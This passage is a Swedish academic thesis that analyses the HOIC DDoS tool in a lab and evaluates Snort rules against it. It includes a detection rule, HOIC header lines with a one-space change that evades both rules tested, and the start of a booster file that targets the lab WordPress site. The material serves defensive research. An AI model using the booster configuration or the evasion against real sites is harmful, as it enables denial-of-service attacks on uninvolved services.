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Sammanfattning 
I denna uppsats avsåg författarna undersöka programvaran High Orbit Ion 

Cannon samt utvärdera huruvida det gick att skydda sig mot den. High Orbit 

Ion Cannon blev ett aktuellt problem i och med att hackergruppen 

Anonymous använde det för att otillgängliggöra webbsidor. High Orbit Ion 

Cannon är en vidareutveckling utav programvaran Low Orbit Ion Cannon. 

Den förstnämnda är på flera sätt betydligt mer sofistikerad och kan anpassas 

till den attack som ska utföras. Författarna utvärderade huruvida det går att 

urskilja trafik genererad av HOIC gentemot den kommunikation som sker då 

webbläsare gör förfrågningar mot webbservrar. Utifrån detta skapades en 

regel som kastade paket baserat på ett visst mönster som upptäcktes i 

analysen av trafik.  

 

Under uppsatsens start kunde författarna inte hitta någon publicerad 

vetenskaplig forskning kring HOIC. På bloggar och liknande fanns vissa rön 

och tips om eventuella skydd. Dessa avsåg författarna att utvärdera. 

 

För att genomföra experimenten på ett kontrollerat sätt användes en virtuell 

testmiljö. 

 

Resultatet som uppvisas i uppsatsen består utav tre delar. En trafikanalys, 

skyddsanalys och boosteranalys. Utifrån trafikanalysen skapades en regel för 

att motverka attacken. Skyddsanalysen bestod utav ett antal tester där den 

egenskapade regeln samt en annan regel som skapats utav Spiderlabs 

utvärderades. Utvärderingen visade att det var möjligt att upprätthålla 

tillgänglighet på webbsidan. Det upptäcktes även att det var möjligt att 

kringgå båda de skydd som utvärderats genom en enkel åtgärd i den så 

kallade booster-filen. På grund av denna upptäckt gjordes en analys av de 

booster-filer som publicerats via Pastebin.com. Detta för att utvärdera antalet 

attacker som skulle kunna motverkats genom de valda skydden. Det visade 

sig att cirka 90 % skulle kunna stoppas. 

 

Keywords: High Orbit Ion Cannon, Low Orbit Ion Cannon, HOIC, LOIC, 

DDoS, Botnet, Anonymous 
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Förord 
Vi skulle med detta förord vilja tacka handledaren Thomas Ivarsson för 

vägledning och tips. Vi vill även tacka Marcus Wilhelmsson för hjälp med 

testmiljön. 
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1. Introduktion 
Anonymous är en löst sammansatt grupp av hackare som fick mycket 

uppmärksamhet i media efter ”Operation Payback”, där flera organisationer 

som stod bakom upphovsrätten till musik och mjukvara blev utsatta för 

attacker. Under dessa attacker använde sig gruppen ofta utav så kallade 

Distributed Denial of Service-attacker för att förhindra tillgängligheten till 

exempelvis organisationers webbsidor. Initialt så använde sig gruppen och 

dess anhängare utav Low Orbit Ion Cannon(LOIC). LOIC är ursprungligen 

ett verktyg för att stresstesta nätverk och utvecklades från början utav 

företaget Praetox Technologies men släpptes sedan fritt till allmänheten. 

Eftersom LOIC inte var så effektivt som man hoppats på tog Anonymous 

fram en ny metod.[1] Denna kallas för High Orbit Ion Cannon(HOIC) och är 

på flera plan betydligt mer sofistikerad än den tidigare nämnda LOIC[2]. 

Fokus från författarna kommer att ligga vid att ta reda på om det går att 

skydda sig mot HOIC, och i så fall hur? 
 

1.1 Problemformulering och syfte 
Problemet som författarna avser att lösa är att framställa en vetenskapligt 

förankrad undersökning angående huruvida det är möjligt att skydda sig mot 

HOIC, och hur man i så fall gör detta. Detta görs då ingen tidigare forskning i 

skrivande stund har genomförts med fokus på HOIC. Uppenbarligen har flera 

stora organisationer misslyckats med att skydda sig, vilket kan leda till att 

organisationen får ekonomiska förluster och/eller att ens trovärdighet 

försämras[3, 4, pp. 9-10].  
 

Uppsatsen vänder sig till administratörer av webbtjänster och andra tjänster 

där motsvarande hot föreligger. 

 

1.2 Tidigare forskning 
Författarna har inte hittat några publicerade vetenskapliga undersökningar 

kring HOIC. Det har däremot forskats mycket kring DDoS-skydd i olika 

former[5-7]. I [9] har författaren skapat en testmiljö för att utvärdera skydd 

mot LOIC. Författaren har skapat en testmiljö för att utvärdera skydd mot 

LOIC. Då HOIC bygger på LOIC anses den tidigare forskningen vara 

relevant för detta arbete då författarna ska utvärdera skydd mot HOIC med 

Snort som det primära skyddsverktyget[8]. 

 

 Företaget Prolexic har gjort en analys om vad HOIC är och hur det 

fungerar[8]. De har i dokumentet först förklarat vad HOIC är och därefter 

publicerat källkoden och gjort en enkel beskrivning av den. 
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1.3 Resten av uppsatsen 
Inledningsvis kommer uppsatsen att presentera de teoretiska avsnitten. De 

teoretiska avsnitten innehåller en beskrivning av delarna som kommer att 

beröras under arbetets gång. Därefter introduceras läsaren till den metod som 

används för framtagning av ett tillförlitligt resultat. Sedan presenteras resultat 

och en analys. En diskussion presenteras därefter av författarna där de lägger 

fram sina tankar. Som avslutning presenteras en sammanfattning av arbetet. 

Där läggs det även fram förslag på vidare forskning. Den frågeställning som 

uppsatsen avser att besvara är huruvida det går att skydda sig mot attacker 

utförda med HOIC, och i så fall hur. 
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2. Teori 
Teoridelen avser ge läsaren grundläggande kunskaper för att tillgodose sig 

kommande avsnitt i uppsatsen. Avsnittet behandlar distribuerade DoS-

attacker, Intrusion Prevention System samt övriga begrepp. 
 

2.1 Distributed Denial-of-Service 
DDoS, Distributed Denial-of-Service, innefattar attacker som enligt [10] är 

genomförda från ett flertal koordinerade enheter som är under attackerarens 

eller attackerarnas kontroll och som förhindrar att legitima klienter kan nå en 

viss information. Detta görs genom att överbelasta en kritisk resurs såsom en 

routers buffertminne, nätverksbandbredden, en servers RAM eller dess CPU-

resurser. Attackeraren eller attackerarna kan även skicka specificerad trafik 

som kräver komplicerad bearbetning för målet som då kan påverka CPU och 

minnesbuss.[10] Om attacken exempelvis är riktad mot en webbserver kan 

dess webbsida bli oåtkomlig eller upplevas som långsam[11]. 

 

Vissa typer av DDoS-attacker är mer sofistikerade än andra då de kan 

undvika att bli upptäckta av eventuella intrångsskydd (eng. intrusion 

detection system). Detta görs genom att smälta in och bete sig som legitim 

trafik. Detta innebär att man t.ex. hämtar hem olika typer av filer och annat 

som är att betrakta som legitima operationer.[10] 
 

2.1.1 Anonymous 

Anonymous kommer ursprungligen från 4chan.org som är en webbsida vars 

innehåll till största del består av användares uppladdade bilder. 4chan.org är 

av väldigt öppen karaktär och det mesta är tillåtet. Är det en bild som inte 

någon väljer att kännas vid så får denna namnet Anonymous, därav namnet 

på gruppen - Anonymous. Innan Wikileaks-debatten var Anonymous mest 

kända för ”Operation Payback” där de attackerade Record Industry 

Association of America (RIAA) och andra organisationer med kopplingar till 

musik- och mjukvaruindustrin.[1] 

 

Anonymous fick därefter uppmärksamhet då de attackerade ”Church of 

Scientology” i ”Project Chanology”. Många anser att genomförandet av 

denna attack var ett misstag, både bland kritiker och anhängare. Detta 

eftersom kyrkan kunde hävda att gruppen inskränkte på religionsfriheten och 

den skadan man åsamkade resulterade endast i högre svarstider under 

attacken.[1] Två personer greps efter attacken[12]. 

 
2.1.2 Botnet 

Botnet definieras som en grupp av övertagna datorer som styrs av en eller 

flera fjärranvändare med mål att utföra exempelvis en DDoS-attack. Att 

använda botnets under cyberattacker har visat sig vara en effektiv metod för 

att otillgängliggöra tjänster.[13] En användare vars dator har blivit övertagen 
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vet i många fall inte om det. En botnet-medlem är ofta drabbad av någon 

form av trojan som väntar på anrop från den som administrerar botnetet. 

Oftast fungerar datorn fullt normalt då den inte ingår i en attack.[14] 
 

2.1.3 Low Orbit Ion Cannon  

LOIC, Low Orbit Ion Cannon, är en programvara som togs fram för 

belastningstester av nätverk. Programvaran har fått uppmärksamhet då den 

har använts i modifierade versioner av Anonymous.[1] Modifikationen har 

gjort det möjligt för LOIC att ta emot kommandon över Internet Relay Chat 

(IRC)[15]. 

 
2.1.4 High Orbit Ion Cannon 

HOIC, High Orbit Ion Cannon, är en vidareutveckling av verktyget LOIC 

som används av Anonymous[8]. HOIC tillhandahåller HTTP-flooding för 

upp till 256 samtidiga webbsidor[1]. Under slutet av 2011 skapades HOIC då 

LOIC ansågs ha begränsad effektivitet för att användas under attacker[2]. 

Den största skillnaden mellan HOIC och LOIC är att HOIC tillhandahåller 

möjligheten att attackera flera mål under samma attack. HOIC har även en 

form av plugins för att göra attacker mer effektiva, så kallade booster-filer 

(eng. booster files). Booster-filer är anpassningsbara VBScript-plugins. Med 

hjälp utav dessa kan man attackera flera undersidor av en webbsida, skapa 

unika HTTP headers genom slumpmässiga user-agents och referers. Detta ger 

möjlighet att skapa slumpmässiga kombinationer för att göra varje attack 

unik.[8] 

 

2.2 Intrusion Prevention System 
IPS, Intrusion Prevention System, kan förklaras som en sammanslagning av 

en brandvägg och en IDS, Intrusion Detection System. Det vill säga att den 

letar efter vissa mönster som kan härledas till en attack, och kan utifrån 

specifierade regler välja att blockera och logga trafiken.[16, 17] IPS brukar 

delas upp i två olika varianter[18]: 

 HIPS – Host based Intrusion Prevention System. HIPS installeras 

oftast på slutenheter, så som en backend server i det interna 

nätverket[19, 20]. 

 NIPS – Network based Intrusion Prevention System. NIPS är i regel 

applikationsbaserade system som blockerar legitim trafik efter att en 

attack har upptäckts. Olika NIPS’s använder olika 

detekteringsmetoder, signaturidentifikationer, trafikanalyser samt 

egna metoder för att blockera attacker.[19] NIPS brukar vanligtvis 

placeras som en första anhalt in till det interna nätverket[20]. 
 

IPS kan användas för att exempelvis förhindra DDoS-attacker i form av 

SYN-flood [37]. En IPS kan även vara bayesisk, vilket innebär att den först 
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lär sig hur legitim trafik ser ut och använder detta som en policy för legitim 

trafik [38].  
 

2.2.1 Snort 

Snort är ett verktyg för att övervaka, förhindra och logga trafik. Det är öppen 

källkod och skrivet i programmeringsspråket C.[21] Snort klassificeras som 

en IPS/IDS. Snort använder sig utav fördelarna av signaturer, protokoll och 

inspektioner baserade på avvikelser. Snort klarar av att göra realtidsanalyser 

av trafik och paketloggning på IP-nätverk. Snort kan även genomföra 

analyser av protokoll och såväl söka i, som matcha innehåll och utifrån det 

blockera trafiken eller ej. Snort har även förmågan att upptäcka attacker och 

skanningar såsom buffer overflows, port-skanningar, CGI-attacker, SMB-

skanningar med flera.[22] 

 

2.3 Övrigt 
2.3.1 Wordpress 

Wordpress är den vanligaste webbmjukvaran för bloggar[23]. Wordpress 

strävar efter att vara enkel att använda, mångsidig, funktionsrik, skalbar och 

baseras på öppen källkod[24].  
 

2.3.2 Lynx 

Lynx är en textbaserad webbläsare[25].  

 
2.3.3 Wireshark 

Wireshark är ett verktyg för analys av trafik i ett nätverk. Wireshark fångar 

paket på ett specificerat nätverkskort och presenterar paketens data.[26] 
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3. Metod 
Metoddelen presenterar den vetenskapliga ansatsen, datainsamling, 

genomförande samt tillförlitighet. Den vetenskapliga ansatsen presenterar de 

angreppssätt och metoder som ska användas vid genomförande. 

Datainsamlingen anger urvalet av data för booster-filer och URL:er som ska 

användas till booster-filen som ska skapas. Genomförandet presenterar de 

tester och analyser som ska utföras. Under tillförlitighet tas det upp detaljer 

som kan påverka resultat och dess tillförlitlighet. 
 

3.1 Vetenskaplig ansats 
Författarna kommer i denna uppsats använda en så kallad Mixed-method. Det 

betyder att ett induktivt och deduktivt angreppssätt kommer att användas i 

kombination för uppsatsens undersökningar. För att skydda resursen krävs att 

författarna utvärderar och förstår hotet. [27, pp. 203-4]  
 

För undersökning av attacken kommer ett induktivt angreppssätt användas. 

Ett induktivt angreppssätt syftar till att man utifrån empiri (observationer och 

dess resultat) skapar teorin. [28, p. 83] Teorin består i detta fall utav hur 

attacken fungerar. 

 

För att utvärdera huruvida det går att skydda sig eller ej kommer ett deduktivt 

angreppssätt användas. Med ett deduktivt angreppssätt utgår man istället från 

befintliga begrepp och teorier för att påvisa ett resultat. [28, p. 87]  

 

Undersökningen av attacken kommer att vara av kvalitativ karaktär då det i 

skrivande stund inte tycks finnas någon publicerad statistik angående skydd 

mot HOIC.  

 

Utifrån resultatet från undersökningen av attacken avser författarna 

genomföra en analys där de eventuella skydden utvärderas. För att genomföra 

detta på ett rättvisande sätt kommer en kvantitativ undersökning genomföras. 

Detta för att påvisa skyddets kredibilitet och för att ge läsaren ett jämförbart 

värde som lättare kan användas vid en jämförelse av andra skydd och 

framtida forskning.[28, p. 87] 

 

3.2 Datainsamling 
Det urval författarna har valt är baserat på granskning av de booster-filer som 

följer med High Orbit Ion Cannon. Däribland finns booster-filer som bland 

annat skulle kunna användas för attacker mot VISA och den holländska 

Åklagarmyndigheten (om.nl). Utifrån att granska dessa ska författarna ta 

fram en metod som är anpassad till den Wordpress-sida som används i 

testmiljön.  
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För att hämta ut vilka URL:er som ska användas i booster-filen för attacken 

används programmet Lynx enligt nedan. 

 
root@ubuntu:~# lynx –dump www.uid11.local/wordpress 
 

Ovanstående kommando resulterar i en lista med URL:er som Lynx funnit för 

det angivna domännamnet. Då listan innehöll dubbletter samt URL:er som 

pekade till domäner utanför www.uid11.local togs dessa bort manuellt. De 

kvarvarande lades in under RandURLs.Append i Booster-filen. Se Bilaga 1 

för hela booster-filen. 

 

3.3 Genomförande 
3.3.1 Testmiljö 

För att genomföra undersökningen krävs det en analys kring attackens 

funktionalitet. För att göra detta på ett kontrollerat sätt används en virtuell 

miljö bestående av en ESXi-server samt tio klienter som virtualiseras i 

virtualiseringprogramvaran VMware Workstation 8. På ESXi-servern 

virtualiseras två servrar: en IPS och en webbserver.  

 

Webbservern använder operativsystemet Ubuntu Server 11.10. På denna 

installeras LAMP (Linux Apache MySQL PHP) vilket är ett ”samlingspaket” 

för ovan angivna programvaror [29]. Valet av Apache grundades på den 

undersökning som [30] utfört. Där kom de fram till att Apache är den 

vanligaste webbservern. Versionen av Apache som används på webbservern 

är 2.2.20. Webbservern har även Wordpress installerat och konfigurerat för 

webbsidan www.uid11.local/wordpress. Valet av Wordpress baseras på det 

faktum att 14,7% av de en miljon främsta webbsidorna i världen använder 

Wordpress[23]. Versionen av Wordpress är 3.0.5. Installationen genomfördes 

med apt-get för Apache och Wordpress. Detta kan innebära att versionerna 

inte är de senast utgivna, men de senaste som Ubuntu tillhandahåller i 

pakethanteringssystemet (eng. Package Management System). 

 

Snort är den vanligaste IDS-/IPS-programvaran, därav föll valet på 

denna[22]. Operativsystemet på IPS-maskinen är Ubuntu Server 10.04 och på 

denna är Snort version 2.9.2 installerat tillsammans med dess beroenden (eng. 

dependencies). De standardregler som används av Snort är snortrules-

snapshot-2922[31].  

 

De tio virtualiserade klienterna är utplacerade på fyra olika fysiska datorer, 

två klienter på två datorer och tre klienter på två datorer. De fysiska datorerna 

använder Windows 7 x64, Intel Xeon 2,8GHz och 12GB RAM. De tio 

virtuella klienterna använder Windows 7 x64 och har 2GB RAM. ESXi-

servern använder ESXi 5.0.0 och har 10 GB RAM och processorn Intel Xeon 

3GHz. IPSen och webbservern har 4GB RAM vardera. ESXi-servern är 
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kopplad till en fysisk switch dit även de fyra datorerna är inkopplade. 

Hastigheten mellan ESXi-servern och switchen är 1Gbit/s. Mellan klienterna 

och switchen är det 100Mbit/s. Samtliga länkar använder full duplex. För att 

testa tillgängligheten kommer det att användas en virtuell klient för att skicka 

legitim trafik. Detta görs manuellt efter 30 sekunder under attacken samt 

direkt efter attacken. 

 
3.3.2 Testuppsättning 

Testerna kommer att bestå utav tre olika faser. Den första fasen innefattar att 

inget skydd används mellan attackerarna och webbservern. I den andra fasen 

utvärderas det skydd som tagits fram utifrån analys av attack-trafik. I den 

tredje fasen utvärderas det skydd Spiderlabs[32] tagit fram. Under samtliga 

faser kommer tillgängligheten att kontrolleras. Även lasten på webbservern 

kommer att mätas. 

 

Varje test kommer att utföras tre gånger för att få ett rättvisande resultat. Det 

resultat som redovisas är medelvärdet av de tre testerna. Attacken kommer att 

pågå under 1 minut mot http://www.uid11.local/wordpress. Efter 30 och 60 

sekunder testas tillgängligheten för hemsidan. För att mäta lasten kommer 

kommandot uptime att användas efter 30 sekunder och efter 1 minut med ett 

spann på 5 sekunder. Det högsta uppmätta värdet kommer att presenteras. 

Kommandot visar systemlasten för 1 minut, 5 minuter och 15 minuter. 

Systemlast innebär det genomsnittliga antalet processer som är antingen i ett 

körbart eller väntande tillstånd[33].  

 

För att genomföra attacken på ett effektivt sätt krävs det en skräddarsydd 

booster-fil för sidan som avses att attackeras. Denna booster-fil skapas 

baserat på analys av de booster-filer som medföljer HOIC. Utifrån det ska 

den skräddarsydda filen för http://www.uid11.local/ skapas.  

Bilaga 1 är den booster-fil som författarna avser att använda under 

attackerna. Filen är, utifrån en analys av tillgängliga booster-filer, skapad av 

författarna. 

 
3.3.3 Trafikanalys 

För att kunna skapa en regel i Snort krävs en undersökning av de paket som 

HOIC genererar under en attack. Med hjälp utav Wireshark fångas trafik från 

en attack, som sedan jämförs med legitim trafik. Den legitima trafiken 

genereras genom ett vanligt besök via webbläsaren. Därefter jämförs paketen 

för att finna skillnader mellan HOIC-trafik och legitim trafik. 

 
3.3.4 Skyddsanalys 

9 tester kommer att utföras. Se Tabell 3.3.4.1 för mer information. Varje test 

kommer att utföras med fem trådar. SkyddsNr 1 är den regel som har skapats 

utifrån en analys av HOIC-trafiken, medan SkyddsNr 2 är en regel som har 



 

  
 9 

 

tagits fram av Spiderlabs[32]. Se Tabell 4.2.1 samt Figur 4.2.1, 4.2.2 för 

resultatet av testerna. 

 

 

Tester 

Nr Antal 

klienter 

SkyddsNr 

1 2 - 

2 5 - 

3 10 - 

4 2 1 

5 5 1 

6 10 1 

7 2 2 

8 5 2 

9 10 2 
Tabell 3.3.4.1 - Testuppsättning 

 
3.3.5 Boosteranalys 

För att undersöka hur många booster-filer som innehåller Keep-Alive med ett 

mellanslag utfördes en undersökning. Undersökningen innefattade att söka på 

ordet ”HOIC” på sidan pastebin.com. Pastebin.com är ett webbverktyg för att 

ladda upp utklipp i form av text. Enligt [2] är det vanligt att booster-filer 

sprids via bland annat Pastebin.com. Figur 4.3.1 innehåller resultatet av 

boosteranalysen. 

 

3.4 Tillförlitlighet 
Då klienterna och servrarna körs virtuellt kan det påverka reliabiliteten, men 

bör ej påverka till den grad att motsvarande resultat ej skulle uppnås vid 

användande av fysiska maskiner. Snort innehåller ett antal standardregler 

som är aktiva under testerna. Dessa kan påverka hur resultat blir med antalet 

blockerade paket och på så sätt påverka validiteten i resultatet. Men i och 

med att uppsatsens mål är att svara på frågan om det går att skydda sig mot 

HOIC anses detta inte vara något hinder för resultatet. Skulle det visa sig att 

Snort kan blockera viss trafik utan någon utav de två regler som specifikt ska 

användas är det ett resultat i sig. 
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4. Resultat 
Detta avsnitt presenterar de resultat som framkommit av de analyser som 

genomförts i tidigare avsnitt. Resultatet består av tre delar: Resultat av 

trafikanalys, skyddsresultat och boosterresultat. Även en kort analys av 

resultat och dess upptäckt presenteras i avsnittet. 
 

4.1 Resultat av trafikanalys 
Genom jämförelsen fann författarna vissa specifika skillnader som kan 

avslöja om det är en HOIC-attack eller legitim trafik. Figur 4.1.1 visar en 

bild på legitim trafik till http://www.uid11.local/wordpress, medan Figur 

4.1.2 visar HOIC-trafik till http://www.uid11.local/wordpress. 

 

 
Figur 4.1.1 - Legitimt paket 

 
Figur 4.1.2 - HOIC-paket 
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Skillnaden i HTTP-delen vid ”Keep-Alive:” är markerat i bilderna. I vissa 

paket från HOIC förekommer det att ”Keep-Alive:” har två mellanslag i 

värdet. Istället för ett mellanslag som det var i testet då undersökningen av 

den legitima trafiken genomfördes. Utifrån det har följande Snort-regel 

skapats: 
 
drop tcp any any -> $HOME_NET $HTTP_PORTS (msg:”Warning! 
Possible HOIC-attack.”; content:”Keep-Alive:  ”; sid: 
213234;) 
 
Formel 4.1.1 - Snort-regel som skapades 

Regeln kastar alla inkommande TCP-paket som härstammar från nätverk som 

inte är deklarerat i $HOME_NET och ska till de nätverk deklarerade i 

$HOME_NET på en HTTP-port(80 eller 443). Paketet ska inspekteras och 

om ”Keep-Alive:  ” återfinns i paketet ska det kastas. Observera de dubbla 

mellanslagen efter ”Keep-Alive:”. 
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4.2 Skyddsresultat 

                                                 
1 Istället för att paketen blev blacklistade hamnade de under ”Dropped” vilket avser de som har kastats av Snort[34]. Andelen paket som blev kastade var 

7542st(24,211%). 

Nr Paket Tillåtna Tillåtna(%) Blacklist Blacklist(%) Tillgänglig(under/efter test) Last 

1 31164 23622 75,789 -1 - Nej/Nej 108,85 

2 - - - - - - - 

3 - - - - - - - 

4 20441 15666 76,641 4775 23,359 Ja/Ja 0,083333 

5 48015 36138 75,265 11877 24,735 Ja/Ja 0,01 

6 94869 71391 75,249 23478 24,751 Ja/Ja 0,086667 

7 19936 15007 75,274 4929 24,726 Ja/Ja 0,036667 

8 43115 32428 75,214 10687 24,787 Ja/Ja 0 

9 86036 64580 75,085 21429 24,915 Ja/Ja 0 

Tabell 4.2.1 - Testresultat 



 

  
 13 

 

 

Paket innefattar antalet mottagna paket som Snort redovisar efter ett test. 

Tillåtna innefattar hur många paket Snort tillät under ett test, först i antal 

sedan i procent. Blacklist innefattar paket som orsakade Snort att blockera ett 

flöde från att passera. Detta inträffar när en blockeringsregel av TCP 

utlöses[34]. Last är värdet från kommandot uptime. Se Bilaga 2 för 

fullständiga testresultat. 

 

 

Resultat(paket) 

 
Figur 4.2.1 - Tillåtna & blockerade paket 

Last (load avg.) 

 
Figur 4.2.2 - Load average med & utan skydd 

2 oskyddade avser att två attackerare användes utan att någon utav SkyddsNr1 

och 2 var aktiverat. 2,5 och 10 skyddade avser att två, fem respektive tio 
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attackerare användes då den regel författarna tagit fram, SkyddsNr1, 

användes. 

 

4.3 Boosterresultat 
Sökningen resulterade i 632 träffresultat, varav 52 urklipp innehöll unika 

booster-filer. Utav dessa 52 booster-filer innehöll 47 stycken Keep-Alive. En 

attack utförd med dessa bör således kunna förhindras med hjälp utav den 

Snort-regel som presenteras i Formel 4.1.1. I Bilaga 3 presenteras den 

fullständiga listan över booster-filer som påträffades vid analysen. I Figur 

4.3.1 presenteras en sammanställning av analysen. 

 
Figur 4.3.1 - Booster-filer med "Keep-Alive:  " 

 

4.4 Analys 
Efter en granskning av den skapade booster-filen upptäcktes det att man kan 

kringgå de regler som har testats genom att modifiera booster-filen för 

attacken. Formel 4.4.1 innehåller den kod som booster-filer från Figur 4.3.1 

använder om de har Keep-Alive. 
 
Headers.Append "Keep-Alive: 115" 
Headers.Append "Accept-Charset: ISO-8859-1,utf-
8;q=0.7,*;q=0.7" 
Headers.Append "Connection: keep-alive" 
 
Formel 4.4.1 - Booster-filer som utlöser på regel 

Det ser till synes korrekt ut, inga överflödiga mellanslag används. Om man 

däremot modifierar koden enligt Formel 4.4.2 resulterar det i att antal 

mellanslag blir korrekta och endast ett mellanslag används vilket gör reglerna 

verkningslösa. 
 
Headers.Append "Keep-Alive:115" 
Headers.Append "Accept-Charset:ISO-8859-1,utf-
8;q=0.7,*;q=0.7" 
Headers.Append "Connection:keep-alive" 

 
Formel 4.4.2 - Booster-filer som inte utlöser på regel 
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I HOIC’s manual, se Bilaga 4, framgår det att man ska använda ett 

mellanslag vid Headers.Append, vilket leder till att de regler som testats 

fungerar som de ska. Men enligt [36] ska det inte vara några mellanslag för 

värdet av ”Keep-Alive:”. Detta gäller dock för HTTP 1.1. 

 

4.5 Överbelastning 
Överbelastningen beror till stor del på antalet förfrågningar som webbservern 

tar emot och tvingas svara på. Detta genererar många Apache-trådar vilket 

resulterar i att Apache inte kan besvara nyinkomna förfrågningar.[35] 

Överbelastningen på webbservern beror inte på mediet mellan enheterna då 

mängden data som genereras inte når mediets maximala hastighet. 
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5. Diskussion 
 

Metoden och genomförandet anser författarna givit en klar bild över 

skyddens verkningsgrad. Att utföra Testnr 2, 3 ansåg författarna var 

irrelevant att genomföra då Testnr 1 gjorde webbsidan otillgänglig. 

 

Snort innehåller en del standardregler mot bland annat DDoS. Dessa 

påverkade troligen resultatet då tester genomfördes utan någon utav de två 

angivna reglerna SkyddsNr 1, 2. Då syftet med uppsatsen var att kontrollera 

om man kan skydda sig mot HOIC sågs inte detta som något hinder. 

 

Resultatet vid användningen av SkyddsNr1, utan den modifierade booster-

filen, visade sig vara tillfredställande då webbservern klarade av attacken. 

IPSen blockerade HOIC-trafiken så pass mycket att webbsidan förblev 

tillgänglig under hela attacken. Lasten på webbservern överskred aldrig 1.0, 

vilket innebär att alla processer kunde köras utan någon anmärkningsvärd 

väntetid. Att antalet tillåtna och blockerade paket ökade linjärt förbryllade 

författarna. Detta är något som kommer att ges som förslag till vidare 

forskning. Verkningsgraden mellan SkyddsNr1 och 2 var marginella, medan 

reglerna skilde sig relativt mycket rent kodmässigt. 

 

Två tester utfördes även i skarp miljö med den generiska booster-filen som 

fanns med i HOIC. Den ena attacken utfördes mot en kurskamrats blogg. Där 

visade det sig att dennes router hade inbyggt stöd mot DDoS-attacker. Att 

utvärdera och forska vidare kring hur den routern motverkade attacken 

lämnas till vidare forskning på grund av tidsbrist. Den andra attacken 

utfördes mot en lärares blogg. Denna gång lyckades attacken då lärarens 

infrastruktur saknade skydd mot attacken. Testerna utfördes med båda 

personernas medgivande. 

 

Då det gjordes en modifikation av booster-filen gavs det inte längre möjlighet 

att utlösa någon utav reglerna. Att det blir ett korrekt mellanslag tror 

författarna beror på något bibliotek i Real Basic(httpObj) som automatiskt 

skapar korrekt stil för HTTP-huvudet.  Således var inte webbservern skyddad 

mot attacker då det som urskilde den legitima trafiken från attacker-trafiken 

var de dubbla mellanslagen. Det enda som utlästes av den analyserade 

attacken med den modifierade booster-filen var den orealistiska mängden 

TCP-anslutningar som upprättades. Den regeln som utlöste skyddet var enkel 

att kringgå. Det skulle troligtvis inte vara något större hinder för personer 

som använder HOIC att åtgärda den bugg med mellanslagen i programmet. 

Enligt undersökningen som genomfördes mot pastebin.com framgick det att 

47 av 52, cirka 90 %, funna Booster-filer innehöll ett mellanslag. Alltså 

skulle dessa kunna förhindras med de regler som uppsatsen har utvärderat. 

För målgruppen som denna uppsats vänder sig till kan detta leda till att 
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information finns tillgänglig även under en attack. Detta i sin tur leder till att 

man kan förhindra ekonomiska förluster och att ens varumärke sätts i dålig 

dager. 

 

Författarna undersökte även huruvida det är standardvärdet för Keep-Alive i 

Apache som är roten till den höga lasten som uppstår vid test utan skydd. För 

att undersöka denna funktion stängdes den helt enkelt av i konfigurationsfilen 

för Apache. Därefter genomfördes Testnr 1. Skillnaden var ej 

anmärkningsvärd. 
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6. Slutsats 
 

Uppsatsens syfte var att analysera HOIC, ta fram ett skydd och till slut 

utvärdera skyddet. Frågeställningen som eftersträvades att besvaras var om 

det går att skydda sig mot HOIC. Resultatet visade att man kan skydda sig 

mot HOIC med hjälp av Snort. Genom att skapa en regel i Snort som 

inspekterar HTTP-huvudet och kontrollerar om ”Keep-Alive:” har två 

mellanslag i värdet, vilket är ett felaktigt värde för ”Keep-Alive:”. Om det 

fanns kastades paketet. Regeln matchade tillräckligt många paket och kastade 

dessa vilket ledde till att attacken med HOIC inte fungerade då webbsidan 

var tillgänglig under och efter attacken utan någon märkvärd belastning på 

själva webbservern. Efter att testerna hade gjorts genomfördes en analys om 

varför det blev två mellanslag i värdet för ”Keep-Alive:”. Booster-filen 

innehöll enbart ett mellanslag vid ”Keep-Alive:” vilket såg ut att vara 

korrekt. Men om man tog bort det mellanslaget visade det sig att regeln som 

tagits fram inte matchade några paket längre. ”Keep-Alive:” innehöll nu 

enbart ett mellanslag i värdet vilket gjorde regeln verkningslös. HOIC-

attacken blev betydligt svårare att urskilja från legitim trafik. Så pass lik 

legitim trafik att författarna inte kunde urskilja attacken. Ett eventuellt skydd 

skulle kunna vara att kontrollera antalet anslutningar till webbservern under 

en viss tid. På grund av tidsbrist och det redan utforskade ämnet kring DDoS-

skydd bidrog författarna inte med något ytterligare skydd. Däremot lades det 

fokus på förslag till fortsatt forskning. 

 

6.1 Förslag till fortsatt forskning 
Då testerna gjordes med som mest tio klienter som agerade attackerare kan 

det vara intressant att se hur stor påverkan 100 klienter gör. Detta för att se 

om Snort klarar av sådan belastning. Kan det bli för mycket paket för Snort 

att analysera och på så sätt påverka dess belastning? Eller kan Snort börja 

släppa igenom trafik på grund av för stor belastning, vilket kan resultera i en 

lyckad attack där webbsidan blir otillgänglig? En annan forskning som kan 

göras är att utvärdera och analysera det Snort redovisar efter attacken. Hur 

kan det i princip vara samma procentandel paket som släpps igenom under 

alla tester utan att webbservern påverkas när en regel används? 

 

En annan del är att ta fram skydd mot HOIC som verkar även då 

mellanslagsbuggen är åtgärdad. Detta kan troligen göras med någon utav de 

metoder och analyser som redan gjorts mot DDoS-attacker. Då kan 

förslagsvis forskningen bestå utav att testa ett visst antal sådana metoder och 

utvärdera vilka som fungerar bäst mot just HOIC. Fokuset kring att skapa ett 

skydd mot HOIC har varit med hjälp av Snort. Det finns routrar som kan ha 

inbyggt stöd för skydd mot DDoS som kan stoppa en HOIC-attack. En 

undersökning kring vilka skyddsåtgärder det finns mot HOIC kan göras för 

att öka kunskapen kring skydd mot HOIC, utöver användning av Snort. 
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HOIC använder sig utav HTTP 1.0, kan detta användas som en metod för att 

upptäcka en HOIC-attack? Hur vanligt är det med legitim HTTP 1.0-trafik? 

Kan HOIC modifieras och använda HTTP 1.1-trafik? Förslagsvis bör man 

göra en djupare analys för att undersöka om det går att urskilja HOIC från 

legitim trafik.  
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A Bilaga 1 
 
Dim useragents() as String 
Dim referers() as String 
dim randheaders() as string 
Dim randURLs() as string 
 
// Innefattar de URL:er som avses att attackeras för en viss 
domän. 
randURLs.Append "http://www.uid11.local/wordpress/?feed=rss2" 
randURLs.Append 
"http://www.uid11.local/wordpress/?feed=comments-rss2" 
randURLs.Append "http://www.uid11.local/wordpress" 
randURLs.Append "http://www.uid11.local/wordpress/#content" 
randURLs.Append "http://www.uid11.local/wordpress/?page_id=2" 
randURLs.Append "http://www.uid11.local/wordpress/?page_id=11" 
randURLs.Append "http://www.uid11.local/wordpress/?page_id=3" 
randURLs.Append "http://www.uid11.local/wordpress/?page_id=9" 
randURLs.Append "http://www.uid11.local/wordpress/?page_id=7" 
randURLs.Append "http://www.uid11.local/wordpress/?p=18" 
randURLs.Append "http://www.uid11.local/wordpress/?author=1" 
randURLs.Append "http://www.uid11.local/wordpress/?cat=3" 
